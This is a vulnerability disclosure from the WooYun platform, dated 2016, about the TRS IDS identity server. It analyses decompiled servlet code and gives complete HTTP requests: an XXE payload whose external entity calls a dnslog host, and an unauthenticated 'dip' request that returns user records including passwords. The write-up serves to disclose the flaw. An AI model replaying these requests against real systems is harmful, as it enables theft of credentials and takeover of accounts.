当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0188473

漏洞标题:TRS(ids新老版本)设计缺陷(xxe/用户信息泄露包括密码等)

相关厂商:北京拓尔思信息技术股份有限公司

漏洞作者: menmen519

提交时间:2016-03-24 11:59

修复时间:2016-06-26 11:50

公开时间:2016-06-26 11:50

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-24: 细节已通知厂商并且等待厂商处理中
2016-03-28: 厂商已经确认,细节仅向厂商公开
2016-03-31: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-22: 细节向核心白帽子及相关领域专家公开
2016-06-01: 细节向普通白帽子公开
2016-06-11: 细节向实习白帽子公开
2016-06-26: 细节向公众公开

简要描述:

TRS(ids)设计缺陷(xxe/用户信息泄露包括密码),好久没有发过漏洞了,突然上来看了看,发现漏洞提交页面都变了

详细说明:

首先我们看看web.xml配置文件:

<servlet>
<servlet-name>ServiceServlet</servlet-name>
<servlet-class>com.trs.idm.admin.service.ServiceServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>ServiceServlet</servlet-name>
<url-pattern>/service</url-pattern>
</servlet-mapping>


跟进ServiceServlet

protected void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
if("GET".equalsIgnoreCase(request.getMethod()) && StringHelper.isEmpty(request.getQueryString()))
{
String responMsg = "It works!";
if(serviceHandlerManager == null)
responMsg = "It didn't work!";
response.getWriter().print(responMsg);
response.getWriter().flush();
return;
}
String hanlderType = RequestUtil.getParameterAndTrim(request, "idsServiceType");
LOG.debug((new StringBuilder("hanlder type in request is: ")).append(hanlderType).toString());
if(serviceHandlerManager == null)
{
LOG.warn((new StringBuilder("serviceHandlerManager is null! ")).append(idmServer.getStartError()).toString());
if("remoteapi".equals(hanlderType))
{
response.setContentType("text/xml;charset=utf-8");
setResponseType(request, response);
String responseMsg = ProcessorHelper.getErrorResponseAsXML(-2, idmServer.getStartError().toString(), com/trs/idm/admin/service/ServiceServlet.getName(), null);
sendResponse(response, responseMsg);
}
return;
}
IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType);
if(serviceHandler == null)
{
LOG.warn((new StringBuilder("can not find hanlder by type: ")).append(hanlderType).toString());
return;
} else
{
serviceHandler.service(request, response);
return;
}
}


通过get方式获取一个服务的名称idsServiceType=xxxxx
然后这里去查询IServiceHandler serviceHandler = serviceHandlerManager.getServiceHanlder(hanlderType);服务存在否

public IServiceHandler getServiceHanlder(String serviceHanlderName)
{
return (IServiceHandler)ServiceHanldersMap.get(serviceHanlderName);
}
public Map getAllServiceHanlders()
{
return ServiceHanldersMap;
}
public void start(IDSContext idsCtx)
throws IdMException
{
IServiceHandler ssoAPIServiceHandler = new SSOAPIServiceHanlder(idsCtx);
ssoAPIServiceHandler.start();
IServiceHandler coAppStatusMonitorServiceHanlder = new CoAppStatusMonitorServiceHanlder(idsCtx);
coAppStatusMonitorServiceHanlder.start();
IServiceHandler v5httpHandler = new HTTPAPIAdaptorHandler(idsCtx);
v5httpHandler.start();
IServiceHandler v5httpssoHandler = new HTTPSSOAPIHandler(idsCtx);
v5httpssoHandler.start();
IServiceHandler realNameAuthServiceHandler = new RealNameAuthenticationServiceHandlerV2(idsCtx);
realNameAuthServiceHandler.start();
IServiceHandler sinaWeiboLoginHandler = new SinaWeiboLoginServiceHandler(idsCtx);
sinaWeiboLoginHandler.start();
IServiceHandler renrenLoginHandler = new RenRenLoginServiceHandler(idsCtx);
renrenLoginHandler.start();
IServiceHandler qqLoginHandler = new QQLoginServiceHandler(idsCtx);
qqLoginHandler.start();
IServiceHandler kaixinLoginHandler = new KaiXinLoginServiceHandler(idsCtx);
kaixinLoginHandler.start();
IServiceHandler doubanLoginHandler = new DoubanLoginServiceHandler(idsCtx);
doubanLoginHandler.start();
IServiceHandler openAuthLoginHandler = new OpenAuthLoginServiceHandler(idsCtx);
openAuthLoginHandler.start();
IServiceHandler idsServerStatusMonitorServiceHanlder = new IdsServerStatusMonitorServiceHanlder(idsCtx);
idsServerStatusMonitorServiceHanlder.start();
IServiceHandler federatedAuthHandler = new FederatedAuthHandler(idsCtx);
federatedAuthHandler.start();
IServiceHandler jitSyncUser = new JitSynchUserServiceHandler(idsCtx);
ServiceHanldersMap = new HashMap();
ServiceHanldersMap.put("remoteapi", v5httpHandler);
ServiceHanldersMap.put("httpssoservice", v5httpssoHandler);
ServiceHanldersMap.put("ssoapi", ssoAPIServiceHandler);
ServiceHanldersMap.put("coAppStatusMonitor", coAppStatusMonitorServiceHanlder);
ServiceHanldersMap.put("realNameAuthentication", realNameAuthServiceHandler);
ServiceHanldersMap.put("idsStatusMonitor", idsServerStatusMonitorServiceHanlder);
ServiceHanldersMap.put("jitSyncUser", jitSyncUser);
ServiceHanldersMap.put("openAuthLogin", openAuthLoginHandler);
ServiceHanldersMap.put("sinaWeiboLogin", sinaWeiboLoginHandler);
ServiceHanldersMap.put("renrenLogin", renrenLoginHandler);
ServiceHanldersMap.put("qqLogin", qqLoginHandler);
ServiceHanldersMap.put("kaixinLogin", kaixinLoginHandler);
ServiceHanldersMap.put("doubanLogin", doubanLoginHandler);
ServiceHanldersMap.put("federatedAuth", federatedAuthHandler);
ServiceHanldersMap.put("mockBabyTreeServer", new MockBabyTreeAppServer(idsCtx));
LOG.info("MemoryServiceHanlderManager start");
}


发现了 存在这么多服务,我们最主要的看jitSyncUser 这个服务
跟进到JitSynchUserServiceHandler

public void service(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
request.setCharacterEncoding("UTF-8");
response.setContentType("text/html; charset=UTF-8");
response.setHeader("Pragma", "no-cache");
response.setHeader("Cache-Control", "no-store");
response.setDateHeader("Expires", -1L);
InputStream in = request.getInputStream();
byte buf[] = new byte[2048];
in.read(buf);
in.close();
String xml = (new String(buf, "UTF-8")).trim();
if(xml == null || xml.equals(""))
{
error(response, "XML\u6587\u6863\u4E3A\u7A7A");
return;
}
try
{
Document doc = DocumentHelper.parseText(xml);
Element root = doc.getRootElement();
synchUser(response, root, xml);
}
catch(DocumentException e)
{
error(response, "XML\u6587\u6863\u9519\u8BEF");
}
catch(Exception e)
{
error(response, "XML\u6587\u6863\u9519\u8BEF");
}
}


这里直接通过流读取一个xml,然后交给synchUser方法处理

private void synchUser(HttpServletResponse response, Element element, String xml)
throws IOException, IdMException
{
User user = getBean(element);
String action = getAction(element);
String status = "";
if("app".equalsIgnoreCase(action))
userManager.addUser(user, "");
else
if("mod".equalsIgnoreCase(action))
userManager.updateUser(user);
else
if("active".equalsIgnoreCase(action))
{
user.setActived(true);
userService.noticeEnableOrDisableUser(true, user);
} else
if("unactive".equalsIgnoreCase(action))
{
user.setActived(false);
userService.noticeEnableOrDisableUser(false, user);
} else
if("del".equalsIgnoreCase(action))
userManager.removeUser(user);
else
if("dip".equalsIgnoreCase(action))
{
User newUser = userManager.findByName(user.getUserName(), "ids_internal");
if(newUser != null)
{
String encode = buildReturnXml(newUser);
response.getWriter().print(encode);
return;
}
} else
if("check".equalsIgnoreCase(action))
{
String userExist = userManager.isUserExist(user.getUserName(), "", true);
status = userExist;
} else
if("check-up".equalsIgnoreCase(action))
{
status = checkUserInfo(user);
} else
{
error(response, "\u8BF7\u6C42\u7684\u65B9\u6CD5\u65E0\u6548");
return;
}

StringBuffer sb = new StringBuffer("<?xml version='1.0' encoding='UTF-8' ?><Inter-Xinhua Version='1.0'>");
if("check".equals(action))
{
if(status.equals("true") || status.equals("false"))
sb.append(String.format("<Error>false</Error><Exist>%s</Exist>", new Object[] {
status
}));
else
sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] {
status
}));
} else
if(status.equals(""))
sb.append("<Error>false</Error>");
else
sb.append(String.format("<Error>true</Error><ErrorMessage>%s</ErrorMessage>", new Object[] {
status
}));
sb.append("</Inter-Xinhua>");
response.getWriter().print(sb.toString());
}


那么看看第一个漏洞点:

try
{
Document doc = DocumentHelper.parseText(xml);
Element root = doc.getRootElement();
synchUser(response, root, xml);
}


这里直接对xml进行了解析,所以存在xxe漏洞,为了测试,我们cloudeye 演示一下

POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.**
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------1988224119974
Content-Length: 196
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xdsec [<!ELEMENT methodname ANY ><!ENTITY xxe SYSTEM "http://mm1111.88d400.dnslog.info" >]><methodcall><methodname>&xxe;</methodname></methodcall>


trs1.gif


下面的synchUser,因为接口是统一有问题的,所以这里就举其中一个信息泄露例子吧

POST /ids/service?idsServiceType=jitSyncUser HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: trsidsssosessionid=2382B8AE9E8FB5B441212CE2595F963E**.**.**.**
X-Forwarded-For: **.**.**.**
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------1988224119974
Content-Length: 381
<?xml version="1.0" encoding="UTF-8"?><UserInfo><Method>dip</Method><AppId>dbg</AppId><ID>test</ID><Password>xxxxx</Password><CPassword>xxxxx</CPassword><Name>xxxxxx</Name><Domain></Domain><TEL>02965474561</TEL><PostCode>710000</PostCode><Mobile>15802991645</Mobile><Address>test123</Address><E-mail>test123@**.**.**.**</E-mail><UserType>dbg</UserType><ES></ES><DES></DES></UserInfo>


trs2.gif


其他的 比如任意用户密码修改,用户激活等等这里就不举例子了
案例:
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**
**.**.**.**

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-03-28 11:45

厂商回复:

感谢反馈,问题于几个月前已通过其他渠道获悉,并就已实施的关键项目做了修复对接,标准产品的补丁将很快发布。

最新状态:

暂无